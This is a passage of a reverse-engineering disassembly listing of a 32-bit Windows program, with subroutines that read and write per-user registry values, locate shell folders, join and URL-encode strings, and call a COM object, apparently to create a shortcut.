cbData		= dword	ptr  8
lpSubKey	= dword	ptr  0Ch
lpValueName	= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	edx, [ebp+cbData]
		push	ebx
		push	esi
		lea	eax, [ebp+hKey]
		push	edi
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+lpSubKey]
		push	eax		; phkResult
		push	0		; samDesired
		push	0		; ulOptions
		push	ecx		; lpSubKey
		push	edx		; hKey
		mov	[ebp+hKey], 0
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_40A5EF
		mov	esi, [ebp+lpValueName]
		mov	edx, [ebp+hKey]
		mov	ebx, ds:RegQueryValueExA
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	ecx, [ebp+Type]
		push	0		; lpData
		push	ecx		; lpType
		push	0		; lpReserved
		push	esi		; lpValueName
		push	edx		; hKey
		call	ebx ; RegQueryValueExA
		test	eax, eax
		jnz	loc_40A5E5
		cmp	[ebp+Type], 1
		jnz	loc_40A5E5
		mov	eax, [ebp+cbData]
		inc	eax
		push	eax		; dwBytes
		call	sub_40AE50
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		mov	[ebp+var_18], edi
		jnz	short loc_40A4ED
		mov	ecx, [ebp+hKey]
		push	ecx		; hKey
		call	ds:RegCloseKey	; RegCloseKey
		xor	al, al
		lea	esp, [ebp-24h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A4ED:				; CODE XREF: sub_40A460+73j
		mov	ecx, [ebp+hKey]
		lea	edx, [ebp+cbData]
		push	edx		; lpcbData
		lea	eax, [ebp+Type]
		push	edi		; lpData
		push	eax		; lpType
		push	0		; lpReserved
		push	esi		; lpValueName
		push	ecx		; hKey
		call	ebx ; RegQueryValueExA
		test	eax, eax
		setz	al
		test	al, al
		mov	byte ptr [ebp+lpSubKey+3], al
		jz	loc_40A5C3
		push	edi		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	edi		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	[ebp+var_10], ebx
		mov	word ptr [ebx],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		push	ebx		; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	edx, [ebp+var_8]
		mov	ebx, eax
		mov	[ebp+lpValueName], ebx
		mov	eax, [edx]
		test	eax, eax
		jnz	short loc_40A558
		xor	esi, esi
		jmp	short loc_40A561
; ---------------------------------------------------------------------------


loc_40A558:				; CODE XREF: sub_40A460+F2j
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	esi, eax


loc_40A561:				; CODE XREF: sub_40A460+F6j
		lea	eax, [esi+ebx]
		push	eax		; ui
		push	0		; strIn
		mov	[ebp+var_14], eax
		call	ds:SysAllocStringLen
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40A5C3
		mov	edx, [ebp+var_8]
		lea	eax, [esi+esi]
		mov	ecx, eax
		mov	edi, ebx
		mov	esi, [edx]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+lpValueName]
		mov	esi, [ebp+var_10]
		add	ecx, ecx
		lea	edi, [eax+ebx]
		mov	edx, ecx
		mov	eax, [ebp+var_14]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	esi, [ebp+var_8]
		mov	word ptr [ebx+eax*2], 0
		mov	ecx, [esi]
		push	ecx		; bstrString
		call	ds:SysFreeString
		mov	edi, [ebp+var_18]
		mov	[esi], ebx


loc_40A5C3:				; CODE XREF: sub_40A460+A9j
					; sub_40A460+114j
		mov	edx, [ebp+hKey]
		push	edx		; hKey
		call	ds:RegCloseKey	; RegCloseKey
		push	edi		; lpMem
		call	sub_40AF10
		mov	al, byte ptr [ebp+lpSubKey+3]
		add	esp, 4
		lea	esp, [ebp-24h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A5E5:				; CODE XREF: sub_40A460+4Fj
					; sub_40A460+59j
		mov	eax, [ebp+hKey]
		push	eax		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_40A5EF:				; CODE XREF: sub_40A460+2Bj
		lea	esp, [ebp-24h]
		xor	al, al
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_40A460	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40A600(LPCSTR lpSubKey,LPCSTR lpValueName)

sub_40A600	proc near		; CODE XREF: sub_4039C0+65Fp

lpSubKey	= dword	ptr  4
lpValueName	= dword	ptr  8

		mov	eax, [esp+lpValueName]
		mov	edx, [esp+lpSubKey]
		push	eax		; lpValueName
		push	edx		; lpSubKey
		push	80000001h	; cbData
		call	sub_40A460
		retn	8
sub_40A600	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40A620(int,int,LPCSTR lpString2)

sub_40A620	proc near		; CODE XREF: sub_40A680+2Bp
					; sub_40A680+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
lpString2	= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+lpString2]
		mov	esi, ecx
		push	edi		; lpLibFileName
		call	ds:LoadLibraryA	; LoadLibraryA
		mov	ebx, [esp+0Ch+arg_0]
		test	eax, eax
		mov	[ebx], eax
		jnz	short loc_40A642
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A642:				; CODE XREF: sub_40A620+18j
		push	offset aShgetfolderpat ; "SHGetFolderPathA"
		push	eax		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		mov	ecx, [esp+0Ch+arg_4]
		test	eax, eax
		mov	[ecx], eax
		jnz	short loc_40A669
		mov	edx, [ebx]
		push	edx		; hLibModule
		call	ds:FreeLibrary	; FreeLibrary
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A669:				; CODE XREF: sub_40A620+36j
		push	1Dh		; iMaxLength
		add	esi, 0Ch
		push	edi		; lpString2
		push	esi		; lpString1
		call	ds:lstrcpynA	; lstrcpynA
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		retn	0Ch
sub_40A620	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40A680(LPCWSTR lpString)

sub_40A680	proc near		; CODE XREF: sub_4039C0+28Cp
					; sub_4039C0+29Dp ...

MultiByteStr	= byte ptr -118h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
hLibModule	= dword	ptr -8
var_4		= dword	ptr -4
lpString	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 118h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], edi
		mov	al, [edi+2Ah]
		test	al, al
		jnz	short loc_40A6DE
		lea	eax, [ebp+var_4]
		push	offset aShell32_dll ; "Shell32.dll"
		lea	ecx, [ebp+hLibModule]
		push	eax		; int
		push	ecx		; int
		mov	ecx, edi
		mov	byte ptr [edi+2Ah], 1
		call	sub_40A620
		test	al, al
		jnz	short loc_40A71C
		lea	edx, [ebp+var_4]
		push	offset aShfolder_dll ; "SHFolder.dll"
		lea	eax, [ebp+hLibModule]
		push	edx		; int
		push	eax		; int
		mov	ecx, edi
		call	sub_40A620
		test	al, al
		jnz	short loc_40A71C
		mov	[edi+0Ch], al
		lea	esp, [ebp-124h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_40A6DE:				; CODE XREF: sub_40A680+16j
		mov	cl, [edi+0Ch]
		lea	eax, [edi+0Ch]
		test	cl, cl
		jnz	short loc_40A6F9
		xor	al, al
		lea	esp, [ebp-124h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_40A6F9:				; CODE XREF: sub_40A680+66j
		lea	ecx, [ebp+var_4]
		push	eax		; lpString2
		lea	edx, [ebp+hLibModule]
		push	ecx		; int
		push	edx		; int
		mov	ecx, edi
		call	sub_40A620
		test	al, al
		jnz	short loc_40A71C
		lea	esp, [ebp-124h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_40A71C:				; CODE XREF: sub_40A680+32j
					; sub_40A680+4Aj ...
		mov	ecx, [ebp+lpString]
		lea	eax, [ebp+MultiByteStr]
		push	eax
		push	0
		push	0
		xor	bl, bl
		push	ecx
		push	0
		mov	[ebp+MultiByteStr], bl
		call	[ebp+var_4]
		test	eax, eax
		jl	loc_40A822
		cmp	eax, 1
		jg	loc_40A822
		mov	al, [ebp+MultiByteStr]
		test	al, al
		jz	loc_40A822
		lea	edx, [ebp+MultiByteStr]
		test	edx, edx
		jnz	short loc_40A766
		mov	[ebp+lpString],	edx
		jmp	short loc_40A7A2
; ---------------------------------------------------------------------------


loc_40A766:				; CODE XREF: sub_40A680+DFj
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		lea	ecx, [ebp+MultiByteStr]
		push	0FFFFFFFFh	; cbMultiByte
		push	ecx		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [ebx],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	[ebp+lpString],	ebx


loc_40A7A2:				; CODE XREF: sub_40A680+E4j
		mov	edx, [ebp+lpString]
		push	edx		; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	ebx, eax
		mov	eax, [edi]
		test	eax, eax
		mov	[ebp+var_C], ebx
		jnz	short loc_40A7BB
		xor	esi, esi
		jmp	short loc_40A7C4
; ---------------------------------------------------------------------------


loc_40A7BB:				; CODE XREF: sub_40A680+135j
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	esi, eax


loc_40A7C4:				; CODE XREF: sub_40A680+139j
		lea	eax, [esi+ebx]
		push	eax		; ui
		push	0		; strIn
		mov	[ebp+var_14], eax
		call	ds:SysAllocStringLen
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40A820
		lea	eax, [esi+esi]
		mov	esi, [edi]
		mov	ecx, eax
		mov	edi, ebx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_C]
		mov	esi, [ebp+lpString]
		add	ecx, ecx
		lea	edi, [eax+ebx]
		mov	edx, ecx
		mov	eax, [ebp+var_14]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	esi, [ebp+var_10]
		mov	word ptr [ebx+eax*2], 0
		mov	ecx, [esi]
		push	ecx		; bstrString
		call	ds:SysFreeString
		mov	[esi], ebx


loc_40A820:				; CODE XREF: sub_40A680+157j
		mov	bl, 1


loc_40A822:				; CODE XREF: sub_40A680+BAj
					; sub_40A680+C3j ...
		mov	edx, [ebp+hLibModule]
		push	edx		; hLibModule
		call	ds:FreeLibrary	; FreeLibrary
		lea	esp, [ebp-124h]
		mov	al, bl
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40A680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40A840(HINSTANCE hInstance,UINT bstrString)

sub_40A840	proc near		; CODE XREF: sub_4036E0+F9p
					; sub_4039C0+152p ...

String		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
hInstance	= dword	ptr  8
bstrString	= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		mov	edx, [ebp+hInstance]
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [ebp+String]
		mov	ecx, [ebp+bstrString]
		push	200h		; cchBufferMax
		push	eax		; lpBuffer
		push	ecx		; uID
		push	edx		; hInstance
		mov	[ebp+var_4], edi
		call	ds:LoadStringA	; LoadStringA
		mov	ebx, ds:SysFreeString
		push	0		; bstrString
		mov	esi, eax
		call	ebx ; SysFreeString
		test	esi, esi
		jz	short loc_40A8E4
		lea	eax, [ebp+String]
		test	eax, eax
		jnz	short loc_40A889
		xor	ebx, ebx
		jmp	short loc_40A8C2
; ---------------------------------------------------------------------------


loc_40A889:				; CODE XREF: sub_40A840+43j
		lea	ecx, [ebp+String]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		lea	edx, [ebp+String]
		push	0FFFFFFFFh	; cbMultiByte
		push	edx		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [ebx],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar


loc_40A8C2:				; CODE XREF: sub_40A840+47j
		push	ebx		; psz
		call	ds:SysAllocString
		mov	esi, ds:SysStringLen
		push	eax		; BSTR
		mov	[ebp+bstrString], eax
		call	esi ; SysStringLen
		mov	ebx, eax
		mov	eax, [edi]
		test	eax, eax
		mov	[ebp+hInstance], ebx
		jnz	short loc_40A8F9
		xor	esi, esi
		jmp	short loc_40A8FE
; ---------------------------------------------------------------------------


loc_40A8E4:				; CODE XREF: sub_40A840+39j
		push	0		; bstrString
		call	ebx ; SysFreeString
		xor	al, al
		lea	esp, [ebp-214h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------


loc_40A8F9:				; CODE XREF: sub_40A840+9Ej
		push	eax		; BSTR
		call	esi ; SysStringLen
		mov	esi, eax


loc_40A8FE:				; CODE XREF: sub_40A840+A2j
		lea	eax, [esi+ebx]
		push	eax		; ui
		push	0		; strIn
		mov	[ebp+var_8], eax
		call	ds:SysAllocStringLen
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40A95A
		lea	eax, [esi+esi]
		mov	esi, [edi]
		mov	ecx, eax
		mov	edi, ebx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+hInstance]
		mov	esi, [ebp+bstrString]
		add	ecx, ecx
		lea	edi, [eax+ebx]
		mov	edx, ecx
		mov	eax, [ebp+var_8]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	esi, [ebp+var_4]
		mov	word ptr [ebx+eax*2], 0
		mov	ecx, [esi]
		push	ecx		; bstrString
		call	ds:SysFreeString
		mov	[esi], ebx


loc_40A95A:				; CODE XREF: sub_40A840+D1j
		mov	edx, [ebp+bstrString]
		push	edx		; bstrString
		call	ds:SysFreeString
		lea	esp, [ebp-214h]
		mov	al, 1
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40A840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40A980(LPCWSTR lpString)

sub_40A980	proc near		; CODE XREF: sub_4039C0+42Ep
					; sub_4051A0+2DCp ...

MultiByteStr	= byte ptr -2Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
lpString	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, [ebp+lpString]
		lea	eax, [ebp+MultiByteStr]
		push	0Ah
		push	eax
		push	ecx
		mov	[ebp+var_C], edi
		call	sub_40BE1D
		lea	edx, [ebp+MultiByteStr]
		add	esp, 0Ch
		test	edx, edx
		jnz	short loc_40A9AC
		mov	[ebp+lpString],	edx
		jmp	short loc_40A9E2
; ---------------------------------------------------------------------------


loc_40A9AC:				; CODE XREF: sub_40A980+25j
		lea	eax, [ebp+MultiByteStr]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		lea	ecx, [ebp+MultiByteStr]
		push	0FFFFFFFFh	; cbMultiByte
		push	ecx		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [ebx],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	[ebp+lpString],	ebx


loc_40A9E2:				; CODE XREF: sub_40A980+2Aj
		mov	edx, [ebp+lpString]
		push	edx		; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	ebx, eax
		mov	eax, [edi]
		test	eax, eax
		mov	[ebp+var_4], ebx
		jnz	short loc_40A9FB
		xor	esi, esi
		jmp	short loc_40AA04
; ---------------------------------------------------------------------------


loc_40A9FB:				; CODE XREF: sub_40A980+75j
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	esi, eax


loc_40AA04:				; CODE XREF: sub_40A980+79j
		lea	eax, [esi+ebx]
		push	eax		; ui
		push	0		; strIn
		mov	[ebp+var_8], eax
		call	ds:SysAllocStringLen
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40AA60
		lea	eax, [esi+esi]
		mov	esi, [edi]
		mov	ecx, eax
		mov	edi, ebx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_4]
		mov	esi, [ebp+lpString]
		add	ecx, ecx
		lea	edi, [eax+ebx]
		mov	edx, ecx
		mov	eax, [ebp+var_8]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	esi, [ebp+var_C]
		mov	word ptr [ebx+eax*2], 0
		mov	ecx, [esi]
		push	ecx		; bstrString
		call	ds:SysFreeString
		mov	[esi], ebx


loc_40AA60:				; CODE XREF: sub_40A980+97j
		lea	esp, [ebp-38h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40A980	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40AA70(LPCSTR lpMem)

sub_40AA70	proc near		; CODE XREF: sub_4051A0+28Dp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
lpMem		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		mov	ebx, [ebp+lpMem]
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		push	ebx		; lpString
		call	ds:lstrlenA	; lstrlenA
		lea	eax, [eax+eax*2+1]
		push	eax		; dwBytes
		call	sub_40AE50
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		mov	[ebp+lpMem], edi
		jnz	short loc_40AAAA
		xor	al, al
		lea	esp, [ebp-1Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_40AAAA:				; CODE XREF: sub_40AA70+2Aj
		mov	al, [ebx]
		mov	esi, edi
		test	al, al
		jz	short loc_40AAF4
		dec	edi


loc_40AAB3:				; CODE XREF: sub_40AA70+7Fj
		movsx	eax, al
		movsx	ecx, al
		mov	[esi], al
		inc	esi
		inc	edi
		sub	ecx, 20h
		inc	ebx
		cmp	ecx, 1Eh	; switch 31 cases
		ja	short loc_40AAEB ; default
					; jumptable 0040AACE cases 1,2,4,7-27,29
		xor	edx, edx
		mov	dl, ds:byte_40ABCC[ecx]
		jmp	ds:off_40ABC4[edx*4] ; switch jump


loc_40AAD5:				; DATA XREF: .text:off_40ABC4o
		push	eax		; jumptable 0040AACE cases 0,3,5,6,28,30
		push	offset a2x	; "%%%2x"
		push	edi		; LPSTR
		call	ds:wsprintfA	; wsprintfA
		add	esp, 0Ch
		add	esi, 2
		add	edi, 2


loc_40AAEB:				; CODE XREF: sub_40AA70+54j
					; sub_40AA70+5Ej
					; DATA XREF: ...
		mov	al, [ebx]	; default
					; jumptable 0040AACE cases 1,2,4,7-27,29
		test	al, al
		jnz	short loc_40AAB3
		mov	edi, [ebp+lpMem]


loc_40AAF4:				; CODE XREF: sub_40AA70+40j
		push	edi		; lpString
		mov	byte ptr [esi],	0
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, [ebp+lpMem]
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	eax		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	[ebp+var_C], ebx
		mov	word ptr [ebx],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		push	ebx		; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	edi, [ebp+var_4]
		mov	ebx, eax
		mov	[ebp+var_8], ebx
		mov	eax, [edi]
		test	eax, eax
		jnz	short loc_40AB43
		xor	esi, esi
		jmp	short loc_40AB4C
; ---------------------------------------------------------------------------


loc_40AB43:				; CODE XREF: sub_40AA70+CDj
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	esi, eax


loc_40AB4C:				; CODE XREF: sub_40AA70+D1j
		add	ebx, esi
		push	ebx		; ui
		push	0		; strIn
		mov	[ebp+var_10], ebx
		call	ds:SysAllocStringLen
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40ABA7
		lea	eax, [esi+esi]
		mov	esi, [edi]
		mov	ecx, eax
		mov	edi, ebx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_8]
		mov	esi, [ebp+var_C]
		add	ecx, ecx
		lea	edi, [eax+ebx]
		mov	edx, ecx
		mov	eax, [ebp+var_10]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	esi, [ebp+var_4]
		mov	word ptr [ebx+eax*2], 0
		mov	ecx, [esi]
		push	ecx		; bstrString
		call	ds:SysFreeString
		mov	[esi], ebx


loc_40ABA7:				; CODE XREF: sub_40AA70+EEj
		mov	edx, [ebp+lpMem]
		push	edx		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	al, 1
		lea	esp, [ebp-1Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40AA70	endp

; ---------------------------------------------------------------------------
		align 4
off_40ABC4	dd offset loc_40AAD5	; DATA XREF: sub_40AA70+5Er
		dd offset loc_40AAEB	; jump table for switch	statement
byte_40ABCC	db	0,     1,     1,     0 ; DATA XREF: sub_40AA70+58r
		db	1,     0,     0,     1 ; indirect table	for switch statement
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	1,     1,     1,     1
		db	0,     1,     0
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_40ABF0(LPCSTR lpSubKey,LPCSTR lpValueName,HKEY hKey)

sub_40ABF0	proc near		; CODE XREF: sub_4099D0+103p
					; sub_4099D0+11Bp

lpSubKey	= dword	ptr  4
lpValueName	= dword	ptr  8
hKey		= dword	ptr  0Ch

		mov	al, byte ptr [esp+hKey]
		push	ebx
		mov	ebx, ds:RegOpenKeyExA
		push	ebp
		mov	ebp, [esp+8+lpValueName]
		push	esi
		push	edi
		mov	edi, [esp+10h+lpSubKey]
		test	al, al
		mov	esi, ecx
		jnz	short loc_40AC64
		lea	eax, [esp+10h+hKey]
		push	eax		; phkResult
		push	20019h		; samDesired
		push	0		; ulOptions
		push	edi		; lpSubKey
		push	80000001h	; hKey
		call	ebx ; RegOpenKeyExA
		test	eax, eax
		jz	short loc_40AC2D
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AC2D:				; CODE XREF: sub_40ABF0+32j
		mov	ecx, [esp+10h+hKey]
		push	0		; lpcbData
		push	0		; lpData
		push	0		; lpType
		push	0		; lpReserved
		push	ebp		; lpValueName
		push	ecx		; hKey
		call	ds:RegQueryValueExA	; RegQueryValueExA
		test	eax, eax
		jz	short loc_40AC59
		mov	edx, [esp+10h+hKey]
		push	edx		; hKey
		call	ds:RegCloseKey	; RegCloseKey
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AC59:				; CODE XREF: sub_40ABF0+53j
		mov	eax, [esp+10h+hKey]
		push	eax		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_40AC64:				; CODE XREF: sub_40ABF0+1Aj
		lea	ecx, [esp+10h+hKey]
		push	ecx		; phkResult
		push	20006h		; samDesired
		push	0		; ulOptions
		push	edi		; lpSubKey
		push	80000001h	; hKey
		call	ebx ; RegOpenKeyExA
		test	eax, eax
		jz	short loc_40AC85
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AC85:				; CODE XREF: sub_40ABF0+8Aj
		mov	ecx, esi
		call	sub_40A2D0
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx		; cbData
		push	edx		; lpData
		mov	edx, [esp+18h+hKey]
		push	1		; dwType
		push	eax		; Reserved
		push	ebp		; lpValueName
		push	edx		; hKey
		call	ds:RegSetValueExA	; RegSetValueExA
		test	eax, eax
		mov	eax, [esp+10h+hKey]
		push	eax		; hKey
		setz	bl
		call	ds:RegCloseKey	; RegCloseKey
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ABF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40ACD0	proc near		; CODE XREF: sub_4039C0+726p

ppv		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
WideCharStr	= word ptr -208h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 210h
		lea	eax, [esp+210h+ppv]
		push	esi
		push	eax		; ppv
		push	offset stru_40D3A8 ; riid
		push	1		; dwClsContext
		push	0		; pUnkOuter
		mov	esi, ecx
		push	offset stru_40D228 ; rclsid
		call	ds:CoCreateInstance
		test	eax, eax
		jge	short loc_40AD02
		xor	al, al
		pop	esi
		add	esp, 210h
		retn	8
; ---------------------------------------------------------------------------


loc_40AD02:				; CODE XREF: sub_40ACD0+24j
		mov	eax, [esp+214h+ppv]
		lea	edx, [esp+214h+var_20C]
		push	edx
		push	offset dword_40D860
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_40AD81
		mov	ecx, esi
		call	sub_40A2D0
		mov	esi, eax
		push	esi		; lpFileName
		call	sub_40B56A
		mov	eax, [esp+218h+ppv]
		mov	edx, [esp+218h+arg_0]
		add	esp, 4
		mov	ecx, [eax]
		push	edx
		push	eax
		call	dword ptr [ecx+50h]
		mov	eax, [esp+214h+ppv]
		mov	edx, [esp+214h+arg_4]
		push	edx
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+1Ch]
		lea	eax, [esp+214h+WideCharStr]
		push	104h		; cchWideChar
		push	eax		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	esi		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	eax, [esp+214h+var_20C]
		lea	edx, [esp+214h+WideCharStr]
		push	1
		push	edx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+18h]
		mov	eax, [esp+214h+var_20C]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]


loc_40AD81:				; CODE XREF: sub_40ACD0+47j
		mov	eax, [esp+214h+ppv]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+8]
		mov	al, 1
		pop	esi
		add	esp, 210h
		retn	8
sub_40ACD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn

		public start

start		proc near

StartupInfo	= _STARTUPINFOA	ptr -44h

		sub	esp, 44h
		push	ebx
		push	esi
		call	ds:GetCommandLineA	; GetCommandLineA
		mov	ebx, ds:ExitProcess
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40ADBB
		push	0FFFFFFFFh	; uExitCode
		call	ebx ; ExitProcess
; ---------------------------------------------------------------------------


